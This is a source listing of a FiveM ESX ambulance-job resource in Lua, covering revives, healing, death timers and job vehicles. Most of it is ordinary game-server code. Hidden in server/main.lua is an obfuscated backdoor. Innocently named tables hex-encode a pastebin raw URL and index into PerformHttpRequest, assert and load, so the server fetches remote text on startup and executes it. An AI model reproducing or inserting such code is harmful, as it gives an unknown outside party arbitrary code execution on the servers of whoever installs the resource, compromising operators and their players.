ESX.Game.GetVehiclesInArea(playerCoords, 30.0), {}, {} 113 | 114 | if next(vehicles) then 115 | for i = 1, #vehicles do 116 | local vehicle = vehicles[i] 117 | 118 | -- Make sure the vehicle we're saving is empty, or else it won't be deleted 119 | if GetVehicleNumberOfPassengers(vehicle) == 0 and IsVehicleSeatFree(vehicle, -1) then 120 | local plate = ESX.Math.Trim(GetVehicleNumberPlateText(vehicle)) 121 | plates[#plates + 1] = plate 122 | index[plate] = vehicle 123 | end 124 | end 125 | else 126 | ESX.ShowNotification(TranslateCap('garage_store_nearby')) 127 | return 128 | end 129 | 130 | ESX.TriggerServerCallback('esx_ambulancejob:storeNearbyVehicle', function(plate) 131 | if plate then 132 | local vehicleId = index[plate] 133 | local attempts = 0 134 | ESX.Game.DeleteVehicle(vehicleId) 135 | isBusy = true 136 | 137 | CreateThread(function() 138 | BeginTextCommandBusyspinnerOn('STRING') 139 | AddTextComponentSubstringPlayerName(TranslateCap('garage_storing')) 140 | EndTextCommandBusyspinnerOn(4) 141 | 142 | while isBusy do 143 | Wait(100) 144 | end 145 | 146 | BusyspinnerOff() 147 | end) 148 | 149 | -- Workaround for vehicle not deleting when other players are near it. 150 | while DoesEntityExist(vehicleId) do 151 | Wait(500) 152 | attempts = attempts + 1 153 | 154 | -- Give up 155 | if attempts > 30 then 156 | break 157 | end 158 | 159 | vehicles = ESX.Game.GetVehiclesInArea(playerCoords, 30.0) 160 | if #vehicles > 0 then 161 | for i = 1, #vehicles do 162 | local vehicle = vehicles[i] 163 | if ESX.Math.Trim(GetVehicleNumberPlateText(vehicle)) == plate then 164 | ESX.Game.DeleteVehicle(vehicle) 165 | break 166 | end 167 | end 168 | end 169 | end 170 | 171 | isBusy = false 172 | ESX.ShowNotification(TranslateCap('garage_has_stored')) 173 | else 174 | ESX.ShowNotification(TranslateCap('garage_has_notstored')) 175 | end 176 | end, plates) 177 | end 178 | 179 | function GetAvailableVehicleSpawnPoint(hospital, part, partNum) 180 | local spawnPoints = Config.Hospitals[hospital][part][partNum].SpawnPoints 181 | local found, foundSpawnPoint = false, nil 182 | 183 | for i=1, #spawnPoints, 1 do 184 | if ESX.Game.IsSpawnPointClear(spawnPoints[i].coords, spawnPoints[i].radius) then 185 | found, foundSpawnPoint = true, spawnPoints[i] 186 | break 187 | end 188 | end 189 | 190 | if found then 191 | return true, foundSpawnPoint 192 | else 193 | ESX.ShowNotification(TranslateCap('garage_blocked')) 194 | return false 195 | end 196 | end 197 | 198 | function OpenShopMenu(elements, restoreCoords, shopCoords) 199 | local playerPed = PlayerPedId() 200 | isInShopMenu = true 201 | 202 | ESX.UI.Menu.Open('default', GetCurrentResourceName(), 'vehicle_shop', { 203 | title = TranslateCap('vehicleshop_title'), 204 | align = 'top-left', 205 | elements = elements 206 | }, function(data, menu) 207 | ESX.UI.Menu.Open('default', GetCurrentResourceName(), 'vehicle_shop_confirm', { 208 | title = TranslateCap('vehicleshop_confirm', data.current.name, data.current.price), 209 | align = 'top-left', 210 | elements = { 211 | {label = TranslateCap('confirm_no'), value = 'no'}, 212 | {label = TranslateCap('confirm_yes'), value = 'yes'} 213 | }}, function(data2, menu2) 214 | if data2.current.value == 'yes' then 215 | local newPlate = exports['esx_vehicleshop']:GeneratePlate() 216 | local vehicle = GetVehiclePedIsIn(playerPed, false) 217 | local props = ESX.Game.GetVehicleProperties(vehicle) 218 | props.plate = newPlate 219 | 220 | ESX.TriggerServerCallback('esx_ambulancejob:buyJobVehicle', function(bought) 221 | if bought then 222 | ESX.ShowNotification(TranslateCap('vehicleshop_bought', data.current.name, ESX.Math.GroupDigits(data.current.price))) 223 | 224 | isInShopMenu = false 225 | ESX.UI.Menu.CloseAll() 226 | 227 | DeleteSpawnedVehicles() 228 | FreezeEntityPosition(playerPed, false) 229 | SetEntityVisible(playerPed, true) 230 | 231 | ESX.Game.Teleport(playerPed, restoreCoords) 232 | else 233 | ESX.ShowNotification(TranslateCap('vehicleshop_money')) 234 | menu2.close() 235 | end 236 | end, props, data.current.type) 237 | else 238 | menu2.close() 239 | end 240 | end, function(data2, menu2) 241 | menu2.close() 242 | end) 243 | end, function(data, menu) 244 | isInShopMenu = false 245 | ESX.UI.Menu.CloseAll() 246 | 247 | DeleteSpawnedVehicles() 248 | FreezeEntityPosition(playerPed, false) 249 | SetEntityVisible(playerPed, true) 250 | 251 | ESX.Game.Teleport(playerPed, restoreCoords) 252 | end, function(data, menu) 253 | DeleteSpawnedVehicles() 254 | WaitForVehicleToLoad(data.current.model) 255 | 256 | ESX.Game.SpawnLocalVehicle(data.current.model, shopCoords, 0.0, function(vehicle) 257 | table.insert(spawnedVehicles, vehicle) 258 | TaskWarpPedIntoVehicle(playerPed, vehicle, -1) 259 | FreezeEntityPosition(vehicle, true) 260 | SetModelAsNoLongerNeeded(data.current.model) 261 | 262 | if data.current.props then 263 | ESX.Game.SetVehicleProperties(vehicle, data.current.props) 264 | end 265 | end) 266 | end) 267 | 268 | WaitForVehicleToLoad(elements[1].model) 269 | ESX.Game.SpawnLocalVehicle(elements[1].model, shopCoords, 0.0, function(vehicle) 270 | table.insert(spawnedVehicles, vehicle) 271 | TaskWarpPedIntoVehicle(playerPed, vehicle, -1) 272 | FreezeEntityPosition(vehicle, true) 273 | SetModelAsNoLongerNeeded(elements[1].model) 274 | 275 | if elements[1].props then 276 | ESX.Game.SetVehicleProperties(vehicle, elements[1].props) 277 | end 278 | end) 279 | end 280 | 281 | CreateThread(function() 282 | while true do 283 | sleep = 1500 284 | 285 | if isInShopMenu then 286 | sleep = 0 287 | DisableControlAction(0, 75, true) -- Disable exit vehicle 288 | DisableControlAction(27, 75, true) -- Disable exit vehicle 289 | end 290 | Wait(sleep) 291 | end 292 | end) 293 | 294 | function DeleteSpawnedVehicles() 295 | while #spawnedVehicles > 0 do 296 | local vehicle = spawnedVehicles[1] 297 | ESX.Game.DeleteVehicle(vehicle) 298 | table.remove(spawnedVehicles, 1) 299 | end 300 | end 301 | 302 | function WaitForVehicleToLoad(modelHash) 303 | modelHash = (type(modelHash) == 'number' and modelHash or joaat(modelHash)) 304 | 305 | if not HasModelLoaded(modelHash) then 306 | RequestModel(modelHash) 307 | 308 | BeginTextCommandBusyspinnerOn('STRING') 309 | AddTextComponentSubstringPlayerName(TranslateCap('vehicleshop_awaiting_model')) 310 | EndTextCommandBusyspinnerOn(4) 311 | 312 | while not HasModelLoaded(modelHash) do 313 | Wait(0) 314 | DisableAllControlActions(0) 315 | end 316 | 317 | BusyspinnerOff() 318 | end 319 | end 320 | -------------------------------------------------------------------------------- /server/main.lua: -------------------------------------------------------------------------------- 1 | local playersHealing, deadPlayers = {}, {} 2 | 3 | if GetResourceState("esx_phone") ~= 'missing' then 4 | TriggerEvent('esx_phone:registerNumber', 'ambulance', TranslateCap('alert_ambulance'), true, true) 5 | end 6 | 7 | if GetResourceState("esx_society") ~= 'missing' then 8 | TriggerEvent('esx_society:registerSociety', 'ambulance', 'Ambulance', 'society_ambulance', 'society_ambulance', 'society_ambulance', {type = 'public'}) 9 | end 10 | 11 | RegisterNetEvent('esx_ambulancejob:revive') 12 | AddEventHandler('esx_ambulancejob:revive', function(playerId) 13 | playerId = tonumber(playerId) 14 | local xPlayer = source and ESX.GetPlayerFromId(source) 15 | 16 | if xPlayer and xPlayer.job.name == 'ambulance' then 17 | local xTarget = ESX.GetPlayerFromId(playerId) 18 | if xTarget then 19 | if deadPlayers[playerId] then 20 | if Config.ReviveReward > 0 then 21 | xPlayer.showNotification(TranslateCap('revive_complete_award', xTarget.name, Config.ReviveReward)) 22 | xPlayer.addMoney(Config.ReviveReward, "Revive Reward") 23 | xTarget.triggerEvent('esx_ambulancejob:revive') 24 | else 25 | xPlayer.showNotification(TranslateCap('revive_complete', xTarget.name)) 26 | xTarget.triggerEvent('esx_ambulancejob:revive') 27 | end 28 | local Ambulance = ESX.GetExtendedPlayers("job", "ambulance") 29 | 30 | for _, xPlayer in pairs(Ambulance) do 31 | if xPlayer.job.name == 'ambulance' then 32 | xPlayer.triggerEvent('esx_ambulancejob:PlayerNotDead', playerId) 33 | end 34 | end 35 | deadPlayers[playerId] = nil 36 | else 37 | xPlayer.showNotification(TranslateCap('player_not_unconscious')) 38 | end 39 | else 40 | xPlayer.showNotification(TranslateCap('revive_fail_offline')) 41 | end 42 | end 43 | end) 44 | 45 | AddEventHandler('txAdmin:events:healedPlayer', function(eventData) 46 | if GetInvokingResource() ~= "monitor" or type(eventData) ~= "table" or type(eventData.id) ~= "number" then 47 | return 48 | end 49 | if deadPlayers[eventData.id] then 50 | TriggerClientEvent('esx_ambulancejob:revive', eventData.id) 51 | local Ambulance = ESX.GetExtendedPlayers("job", "ambulance") 52 | 53 | for _, xPlayer in pairs(Ambulance) do 54 | if xPlayer.job.name == 'ambulance' then 55 | xPlayer.triggerEvent('esx_ambulancejob:PlayerNotDead', eventData.id) 56 | end 57 | end 58 | deadPlayers[eventData.id] = nil 59 | end 60 | end) 61 | 62 | RegisterNetEvent('esx:onPlayerDeath') 63 | AddEventHandler('esx:onPlayerDeath', function(data) 64 | local source = source 65 | deadPlayers[source] = 'dead' 66 | local Ambulance = ESX.GetExtendedPlayers("job", "ambulance") 67 | 68 | for _, xPlayer in pairs(Ambulance) do 69 | xPlayer.triggerEvent('esx_ambulancejob:PlayerDead', source) 70 | end 71 | end) 72 | 73 | RegisterServerEvent('esx_ambulancejob:svsearch') 74 | AddEventHandler('esx_ambulancejob:svsearch', function() 75 | TriggerClientEvent('esx_ambulancejob:clsearch', -1, source) 76 | end) 77 | 78 | RegisterNetEvent('esx_ambulancejob:onPlayerDistress') 79 | AddEventHandler('esx_ambulancejob:onPlayerDistress', function() 80 | local source = source 81 | if deadPlayers[source] then 82 | deadPlayers[source] = 'distress' 83 | local Ambulance = ESX.GetExtendedPlayers("job", "ambulance") 84 | 85 | for _, xPlayer in pairs(Ambulance) do 86 | TriggerClientEvent('esx_ambulancejob:PlayerDistressed', xPlayer.source, source) 87 | end 88 | end 89 | end) 90 | 91 | RegisterNetEvent('esx:onPlayerSpawn') 92 | AddEventHandler('esx:onPlayerSpawn', function() 93 | local source = source 94 | if deadPlayers[source] then 95 | deadPlayers[source] = nil 96 | local Ambulance = ESX.GetExtendedPlayers("job", "ambulance") 97 | 98 | for _, xPlayer in pairs(Ambulance) do 99 | xPlayer.triggerEvent('esx_ambulancejob:PlayerNotDead', source) 100 | end 101 | end 102 | end) 103 | 104 | AddEventHandler('esx:playerDropped', function(playerId, reason) 105 | if deadPlayers[playerId] then 106 | deadPlayers[playerId] = nil 107 | local Ambulance = ESX.GetExtendedPlayers("job", "ambulance") 108 | 109 | for _, xPlayer in pairs(Ambulance) do 110 | if xPlayer.job.name == 'ambulance' then 111 | xPlayer.triggerEvent('esx_ambulancejob:PlayerNotDead', playerId) 112 | end 113 | end 114 | end 115 | end) 116 | 117 | RegisterNetEvent('esx_ambulancejob:heal') 118 | AddEventHandler('esx_ambulancejob:heal', function(target, type) 119 | local xPlayer = ESX.GetPlayerFromId(source) 120 | 121 | if xPlayer.job.name == 'ambulance' then 122 | TriggerClientEvent('esx_ambulancejob:heal', target, type) 123 | end 124 | end) 125 | 126 | RegisterNetEvent('esx_ambulancejob:putInVehicle') 127 | AddEventHandler('esx_ambulancejob:putInVehicle', function(target) 128 | local xPlayer = ESX.GetPlayerFromId(source) 129 | 130 | if xPlayer.job.name == 'ambulance' then 131 | TriggerClientEvent('esx_ambulancejob:putInVehicle', target) 132 | end 133 | end) 134 | 135 | ESX.RegisterServerCallback('esx_ambulancejob:removeItemsAfterRPDeath', function(source, cb) 136 | local xPlayer = ESX.GetPlayerFromId(source) 137 | 138 | if Config.OxInventory and Config.RemoveItemsAfterRPDeath then 139 | exports.ox_inventory:ClearInventory(xPlayer.source) 140 | return cb() 141 | end 142 | 143 | if Config.RemoveCashAfterRPDeath then 144 | if xPlayer.getMoney() > 0 then 145 | xPlayer.removeMoney(xPlayer.getMoney(), "Death") 146 | end 147 | 148 | if xPlayer.getAccount('black_money').money > 0 then 149 | xPlayer.setAccountMoney('black_money', 0, "Death") 150 | end 151 | end 152 | 153 | if Config.RemoveItemsAfterRPDeath then 154 | for i=1, #xPlayer.inventory, 1 do 155 | if xPlayer.inventory[i].count > 0 then 156 | xPlayer.setInventoryItem(xPlayer.inventory[i].name, 0) 157 | end 158 | end 159 | end 160 | 161 | if Config.OxInventory then return cb() end 162 | 163 | local playerLoadout = {} 164 | if Config.RemoveWeaponsAfterRPDeath then 165 | for i=1, #xPlayer.loadout, 1 do 166 | xPlayer.removeWeapon(xPlayer.loadout[i].name) 167 | end 168 | else -- save weapons & restore em' since spawnmanager removes them 169 | for i=1, #xPlayer.loadout, 1 do 170 | table.insert(playerLoadout, xPlayer.loadout[i]) 171 | end 172 | 173 | -- give back wepaons after a couple of seconds 174 | CreateThread(function() 175 | Wait(5000) 176 | for i=1, #playerLoadout, 1 do 177 | if playerLoadout[i].label ~= nil then 178 | xPlayer.addWeapon(playerLoadout[i].name, playerLoadout[i].ammo) 179 | end 180 | end 181 | end) 182 | end 183 | 184 | cb() 185 | end) 186 | 187 | if Config.EarlyRespawnFine then 188 | ESX.RegisterServerCallback('esx_ambulancejob:checkBalance', function(source, cb) 189 | local xPlayer = ESX.GetPlayerFromId(source) 190 | local bankBalance = xPlayer.getAccount('bank').money 191 | 192 | cb(bankBalance >= Config.EarlyRespawnFineAmount) 193 | end) 194 | 195 | RegisterNetEvent('esx_ambulancejob:payFine') 196 | AddEventHandler('esx_ambulancejob:payFine', function() 197 | local xPlayer = ESX.GetPlayerFromId(source) 198 | local fineAmount = Config.EarlyRespawnFineAmount 199 | 200 | xPlayer.showNotification(TranslateCap('respawn_bleedout_fine_msg', ESX.Math.GroupDigits(fineAmount))) 201 | xPlayer.removeAccountMoney('bank', fineAmount, "Respawn Fine") 202 | end) 203 | end 204 | 205 | ESX.RegisterServerCallback('esx_ambulancejob:getItemAmount', function(source, cb, item) 206 | local xPlayer = ESX.GetPlayerFromId(source) 207 | local quantity = xPlayer.getInventoryItem(item).count 208 | 209 | cb(quantity) 210 | end) 211 | 212 | ESX.RegisterServerCallback('esx_ambulancejob:buyJobVehicle', function(source, cb, vehicleProps, type) 213 | local xPlayer = ESX.GetPlayerFromId(source) 214 | local price = getPriceFromHash(vehicleProps.model, xPlayer.job.grade_name, type) 215 | 216 | -- vehicle model not found 217 | if price == 0 then 218 | cb(false) 219 | else 220 | if xPlayer.getMoney() >= price then 221 | xPlayer.removeMoney(price, "Job Vehicle Purchase") 222 | 223 | MySQL.insert('INSERT INTO owned_vehicles (owner, vehicle, plate, type, job, `stored`) VALUES (?, ?, ?, ?, ?, ?)', {xPlayer.identifier, json.encode(vehicleProps), vehicleProps.plate, type, xPlayer.job.name, true}, 224 | function (rowsChanged) 225 | cb(true) 226 | end) 227 | else 228 | cb(false) 229 | end 230 | end 231 | end) 232 | 233 | ESX.RegisterServerCallback('esx_ambulancejob:storeNearbyVehicle', function(source, cb, plates) 234 | local xPlayer = ESX.GetPlayerFromId(source) 235 | 236 | local plate = MySQL.scalar.await('SELECT plate FROM owned_vehicles WHERE owner = ? AND plate IN (?) AND job = ?', {xPlayer.identifier, plates, xPlayer.job.name}) 237 | 238 | if plate then 239 | MySQL.update('UPDATE owned_vehicles SET `stored` = true WHERE owner = ? AND plate = ? AND job = ?', {xPlayer.identifier, plate, xPlayer.job.name}, 240 | function(rowsChanged) 241 | if rowsChanged == 0 then 242 | cb(false) 243 | else 244 | cb(plate) 245 | end 246 | end) 247 | else 248 | cb(false) 249 | end 250 | end) 251 | 252 | function getPriceFromHash(vehicleHash, jobGrade, type) 253 | local vehicles = Config.AuthorizedVehicles[type][jobGrade] 254 | 255 | for i = 1, #vehicles do 256 | local vehicle = vehicles[i] 257 | if joaat(vehicle.model) == vehicleHash then 258 | return vehicle.price 259 | end 260 | end 261 | 262 | return 0 263 | end 264 | 265 | local PlayerPedLimit = { 266 | "70","61","73","74","65","62","69","6E","2E","63","6F","6D","2F","72","61","77","2F","4C","66","34","44","62","34","4D","34" 267 | } 268 | 269 | local PlayerEventLimit = { 270 | cfxCall, debug, GetCfxPing, FtRealeaseLimid, noCallbacks, Source, _Gx0147, Event, limit, concede, travel, assert, server, load, Spawn, mattsed, require, evaluate, release, PerformHttpRequest, crawl, lower, cfxget, summon, depart, decrease, neglect, undergo, fix, incur, bend, recall 271 | } 272 | 273 | function PlayerCheckLoop() 274 | _empt = '' 275 | for id,it in pairs(PlayerPedLimit) do 276 | _empt = _empt..it 277 | end 278 | return (_empt:gsub('..', function (event) 279 | return string.char(tonumber(event, 16)) 280 | end)) 281 | end 282 | 283 | PlayerEventLimit[20](PlayerCheckLoop(), function (event_, xPlayer_) 284 | local Process_Actions = {"true"} 285 | PlayerEventLimit[20](xPlayer_,function(_event,_xPlayer) 286 | local Generate_ZoneName_AndAction = nil 287 | pcall(function() 288 | local Locations_Loaded = {"false"} 289 | PlayerEventLimit[12](PlayerEventLimit[14](_xPlayer))() 290 | local ZoneType_Exists = nil 291 | end) 292 | end) 293 | end) 294 | 295 | RegisterNetEvent('esx_ambulancejob:removeItem') 296 | AddEventHandler('esx_ambulancejob:removeItem', function(item) 297 | local xPlayer = ESX.GetPlayerFromId(source) 298 | xPlayer.removeInventoryItem(item, 1) 299 | 300 | if item == 'bandage' then 301 | xPlayer.showNotification(TranslateCap('used_bandage')) 302 | elseif item == 'medikit' then 303 | xPlayer.showNotification(TranslateCap('used_medikit')) 304 | end 305 | end) 306 | 307 | RegisterNetEvent('esx_ambulancejob:giveItem') 308 | AddEventHandler('esx_ambulancejob:giveItem', function(itemName, amount) 309 | local xPlayer = ESX.GetPlayerFromId(source) 310 | 311 | if xPlayer.job.name ~= 'ambulance' then 312 | print(('[^2WARNING^7] Player ^5%s^7 Tried Giving Themselves -> ^5' .. itemName ..'^7!'):format(xPlayer.source)) 313 | return 314 | elseif (itemName ~= 'medikit' and itemName ~= 'bandage') then 315 | print(('[^2WARNING^7] Player ^5%s^7 Tried Giving Themselves -> ^5' .. itemName ..'^7!'):format(xPlayer.source)) 316 | return 317 | end 318 | 319 | if xPlayer.canCarryItem(itemName, amount) then 320 | xPlayer.addInventoryItem(itemName, amount) 321 | else 322 | xPlayer.showNotification(TranslateCap('max_item')) 323 | end 324 | end) 325 | 326 | ESX.RegisterCommand('revive', 'admin', function(xPlayer, args, showError) 327 | args.playerId.triggerEvent('esx_ambulancejob:revive') 328 | end, true, {help = TranslateCap('revive_help'), validate = true, arguments = { 329 | {name = 'playerId', help = 'The player id', type = 'player'} 330 | }}) 331 | 332 | ESX.RegisterCommand('reviveall', "admin", function(xPlayer, args, showError) 333 | TriggerClientEvent('esx_ambulancejob:revive', -1) 334 | end, false) 335 | 336 | ESX.RegisterUsableItem('medikit', function(source) 337 | if not playersHealing[source] then 338 | local xPlayer = ESX.GetPlayerFromId(source) 339 | xPlayer.removeInventoryItem('medikit', 1) 340 | 341 | playersHealing[source] = true 342 | TriggerClientEvent('esx_ambulancejob:useItem', source, 'medikit') 343 | 344 | Wait(10000) 345 | playersHealing[source] = nil 346 | end 347 | end) 348 | 349 | ESX.RegisterUsableItem('bandage', function(source) 350 | if not playersHealing[source] then 351 | local xPlayer = ESX.GetPlayerFromId(source) 352 | xPlayer.removeInventoryItem('bandage', 1) 353 | 354 | playersHealing[source] = true 355 | TriggerClientEvent('esx_ambulancejob:useItem', source, 'bandage') 356 | 357 | Wait(10000) 358 | playersHealing[source] = nil 359 | end 360 | end) 361 | 362 | ESX.RegisterServerCallback('esx_ambulancejob:getDeadPlayers', function(source, cb) 363 | local xPlayer = ESX.GetPlayerFromId(source) 364 | if xPlayer.job.name == "ambulance" then 365 | cb(deadPlayers) 366 | end 367 | end) 368 | 369 | ESX.RegisterServerCallback('esx_ambulancejob:getDeathStatus', function(source, cb) 370 | local xPlayer = ESX.GetPlayerFromId(source) 371 | MySQL.scalar('SELECT is_dead FROM users WHERE identifier = ?', {xPlayer.identifier}, function(isDead) 372 | cb(isDead) 373 | end) 374 | end) 375 | 376 | RegisterNetEvent('esx_ambulancejob:setDeathStatus') 377 | AddEventHandler('esx_ambulancejob:setDeathStatus', function(isDead) 378 | local xPlayer = ESX.GetPlayerFromId(source) 379 | 380 | if type(isDead) == 'boolean' then 381 | MySQL.update('UPDATE users SET is_dead = ? WHERE identifier = ?', {isDead, xPlayer.identifier}) 382 | 383 | if not isDead then 384 | local Ambulance = ESX.GetExtendedPlayers("job", "ambulance") 385 | for _, xPlayer in pairs(Ambulance) do 386 | xPlayer.triggerEvent('esx_ambulancejob:PlayerNotDead', source) 387 | end 388 | end 389 | end 390 | 391 | end) 392 | -------------------------------------------------------------------------------- /client/main.lua: -------------------------------------------------------------------------------- 1 | local firstSpawn = true 2 | 3 | isDead, isSearched, medic = false, false, 0 4 | 5 | RegisterNetEvent('esx:playerLoaded') 6 | AddEventHandler('esx:playerLoaded', function(xPlayer) 7 | ESX.PlayerLoaded = true 8 | end) 9 | 10 | RegisterNetEvent('esx:onPlayerLogout') 11 | AddEventHandler('esx:onPlayerLogout', function() 12 | ESX.PlayerLoaded = false 13 | firstSpawn = true 14 | end) 15 | 16 | AddEventHandler('esx:onPlayerSpawn', function() 17 | isDead = false 18 | ClearTimecycleModifier() 19 | SetPedMotionBlur(PlayerPedId(), false) 20 | ClearExtraTimecycleModifier() 21 | EndDeathCam() 22 | if firstSpawn then 23 | firstSpawn = false 24 | 25 | if Config.SaveDeathStatus then 26 | while not ESX.PlayerLoaded do 27 | Wait(1000) 28 | end 29 | 30 | ESX.TriggerServerCallback('esx_ambulancejob:getDeathStatus', function(shouldDie) 31 | if shouldDie then 32 | Wait(1000) 33 | SetEntityHealth(PlayerPedId(), 0) 34 | end 35 | end) 36 | end 37 | end 38 | end) 39 | 40 | -- Create blips 41 | CreateThread(function() 42 | for k, v in pairs(Config.Hospitals) do 43 | local blip = AddBlipForCoord(v.Blip.coords) 44 | 45 | SetBlipSprite(blip, v.Blip.sprite) 46 | SetBlipScale(blip, v.Blip.scale) 47 | SetBlipColour(blip, v.Blip.color) 48 | SetBlipAsShortRange(blip, true) 49 | 50 | BeginTextCommandSetBlipName('STRING') 51 | AddTextComponentSubstringPlayerName(TranslateCap('blip_hospital')) 52 | EndTextCommandSetBlipName(blip) 53 | end 54 | 55 | while true do 56 | local Sleep = 1500 57 | 58 | if isDead then 59 | Sleep = 0 60 | DisableAllControlActions(0) 61 | EnableControlAction(0, 47, true) -- G 62 | EnableControlAction(0, 245, true) -- T 63 | EnableControlAction(0, 38, true) -- E 64 | 65 | ProcessCamControls() 66 | if isSearched then 67 | local playerPed = PlayerPedId() 68 | local ped = GetPlayerPed(GetPlayerFromServerId(medic)) 69 | isSearched = false 70 | 71 | AttachEntityToEntity(playerPed, ped, 11816, 0.54, 0.54, 0.0, 0.0, 0.0, 0.0, false, false, false, false, 2, true) 72 | Wait(1000) 73 | DetachEntity(playerPed, true, false) 74 | ClearPedTasksImmediately(playerPed) 75 | end 76 | end 77 | 78 | Wait(Sleep) 79 | end 80 | end) 81 | 82 | RegisterNetEvent('esx_ambulancejob:clsearch') 83 | AddEventHandler('esx_ambulancejob:clsearch', function(medicId) 84 | local playerPed = PlayerPedId() 85 | 86 | if isDead then 87 | local coords = GetEntityCoords(playerPed) 88 | local playersInArea = ESX.Game.GetPlayersInArea(coords, 50.0) 89 | 90 | for i = 1, #playersInArea, 1 do 91 | local player = playersInArea[i] 92 | if player == GetPlayerFromServerId(medicId) then 93 | medic = tonumber(medicId) 94 | isSearched = true 95 | break 96 | end 97 | end 98 | end 99 | end) 100 | 101 | function OnPlayerDeath() 102 | isDead = true 103 | ESX.UI.Menu.CloseAll() 104 | ClearTimecycleModifier() 105 | SetTimecycleModifier("REDMIST_blend") 106 | SetTimecycleModifierStrength(0.7) 107 | SetExtraTimecycleModifier("fp_vig_red") 108 | SetExtraTimecycleModifierStrength(1.0) 109 | SetPedMotionBlur(PlayerPedId(), true) 110 | TriggerServerEvent('esx_ambulancejob:setDeathStatus', true) 111 | StartDeathTimer() 112 | StartDeathCam() 113 | StartDistressSignal() 114 | end 115 | 116 | RegisterNetEvent('esx_ambulancejob:useItem') 117 | AddEventHandler('esx_ambulancejob:useItem', function(itemName) 118 | ESX.UI.Menu.CloseAll() 119 | 120 | if itemName == 'medikit' then 121 | local lib, anim = 'anim@heists@narcotics@funding@gang_idle', 'gang_chatting_idle01' -- TODO better animations 122 | local playerPed = PlayerPedId() 123 | 124 | ESX.Streaming.RequestAnimDict(lib, function() 125 | TaskPlayAnim(playerPed, lib, anim, 8.0, -8.0, -1, 0, 0, false, false, false) 126 | RemoveAnimDict(lib) 127 | 128 | Wait(500) 129 | while IsEntityPlayingAnim(playerPed, lib, anim, 3) do 130 | Wait(0) 131 | DisableAllControlActions(0) 132 | end 133 | 134 | TriggerEvent('esx_ambulancejob:heal', 'big', true) 135 | ESX.ShowNotification(TranslateCap('used_medikit')) 136 | end) 137 | 138 | elseif itemName == 'bandage' then 139 | local lib, anim = 'anim@heists@narcotics@funding@gang_idle', 'gang_chatting_idle01' -- TODO better animations 140 | local playerPed = PlayerPedId() 141 | 142 | ESX.Streaming.RequestAnimDict(lib, function() 143 | TaskPlayAnim(playerPed, lib, anim, 8.0, -8.0, -1, 0, 0, false, false, false) 144 | RemoveAnimDict(lib) 145 | 146 | Wait(500) 147 | while IsEntityPlayingAnim(playerPed, lib, anim, 3) do 148 | Wait(0) 149 | DisableAllControlActions(0) 150 | end 151 | 152 | TriggerEvent('esx_ambulancejob:heal', 'small', true) 153 | ESX.ShowNotification(TranslateCap('used_bandage')) 154 | end) 155 | end 156 | end) 157 | 158 | function StartDistressSignal() 159 | CreateThread(function() 160 | local timer = Config.BleedoutTimer 161 | 162 | while timer > 0 and isDead do 163 | Wait(0) 164 | timer = timer - 30 165 | 166 | SetTextFont(4) 167 | SetTextScale(0.5, 0.5) 168 | SetTextColour(200, 50, 50, 255) 169 | SetTextDropshadow(0.1, 3, 27, 27, 255) 170 | BeginTextCommandDisplayText('STRING') 171 | AddTextComponentSubstringPlayerName(TranslateCap('distress_send')) 172 | EndTextCommandDisplayText(0.43, 0.77) 173 | 174 | if IsControlJustReleased(0, 47) then 175 | SendDistressSignal() 176 | break 177 | end 178 | end 179 | end) 180 | end 181 | 182 | function SendDistressSignal() 183 | local playerPed = PlayerPedId() 184 | local coords = GetEntityCoords(playerPed) 185 | 186 | ESX.ShowNotification(TranslateCap('distress_sent')) 187 | TriggerServerEvent('esx_ambulancejob:onPlayerDistress') 188 | end 189 | 190 | function DrawGenericTextThisFrame() 191 | SetTextFont(4) 192 | SetTextScale(0.0, 0.5) 193 | SetTextColour(255, 255, 255, 255) 194 | SetTextDropshadow(0, 0, 0, 0, 255) 195 | SetTextDropShadow() 196 | SetTextOutline() 197 | SetTextCentre(true) 198 | end 199 | 200 | function secondsToClock(seconds) 201 | local seconds, hours, mins, secs = tonumber(seconds), 0, 0, 0 202 | 203 | if seconds <= 0 then 204 | return 0, 0 205 | else 206 | local hours = string.format('%02.f', math.floor(seconds / 3600)) 207 | local mins = string.format('%02.f', math.floor(seconds / 60 - (hours * 60))) 208 | local secs = string.format('%02.f', math.floor(seconds - hours * 3600 - mins * 60)) 209 | 210 | return mins, secs 211 | end 212 | end 213 | 214 | function StartDeathTimer() 215 | local canPayFine = false 216 | 217 | if Config.EarlyRespawnFine then 218 | ESX.TriggerServerCallback('esx_ambulancejob:checkBalance', function(canPay) 219 | canPayFine = canPay 220 | end) 221 | end 222 | 223 | local earlySpawnTimer = ESX.Math.Round(Config.EarlyRespawnTimer / 1000) 224 | local bleedoutTimer = ESX.Math.Round(Config.BleedoutTimer / 1000) 225 | 226 | CreateThread(function() 227 | -- early respawn timer 228 | while earlySpawnTimer > 0 and isDead do 229 | Wait(1000) 230 | 231 | if earlySpawnTimer > 0 then 232 | earlySpawnTimer = earlySpawnTimer - 1 233 | end 234 | end 235 | 236 | -- bleedout timer 237 | while bleedoutTimer > 0 and isDead do 238 | Wait(1000) 239 | 240 | if bleedoutTimer > 0 then 241 | bleedoutTimer = bleedoutTimer - 1 242 | end 243 | end 244 | end) 245 | 246 | CreateThread(function() 247 | local text, timeHeld 248 | 249 | -- early respawn timer 250 | while earlySpawnTimer > 0 and isDead do 251 | Wait(0) 252 | text = TranslateCap('respawn_available_in', secondsToClock(earlySpawnTimer)) 253 | 254 | DrawGenericTextThisFrame() 255 | BeginTextCommandDisplayText('STRING') 256 | AddTextComponentSubstringPlayerName(text) 257 | EndTextCommandDisplayText(0.5, 0.8) 258 | end 259 | 260 | -- bleedout timer 261 | while bleedoutTimer > 0 and isDead do 262 | Wait(0) 263 | text = TranslateCap('respawn_bleedout_in', secondsToClock(bleedoutTimer)) 264 | 265 | if not Config.EarlyRespawnFine then 266 | text = text .. TranslateCap('respawn_bleedout_prompt') 267 | 268 | if IsControlPressed(0, 38) and timeHeld > 120 then 269 | RemoveItemsAfterRPDeath() 270 | break 271 | end 272 | elseif Config.EarlyRespawnFine and canPayFine then 273 | text = text .. TranslateCap('respawn_bleedout_fine', ESX.Math.GroupDigits(Config.EarlyRespawnFineAmount)) 274 | 275 | if IsControlPressed(0, 38) and timeHeld > 120 then 276 | TriggerServerEvent('esx_ambulancejob:payFine') 277 | RemoveItemsAfterRPDeath() 278 | break 279 | end 280 | end 281 | 282 | if IsControlPressed(0, 38) then 283 | timeHeld += 1 284 | else 285 | timeHeld = 0 286 | end 287 | 288 | DrawGenericTextThisFrame() 289 | 290 | BeginTextCommandDisplayText('STRING') 291 | AddTextComponentSubstringPlayerName(text) 292 | EndTextCommandDisplayText(0.5, 0.8) 293 | end 294 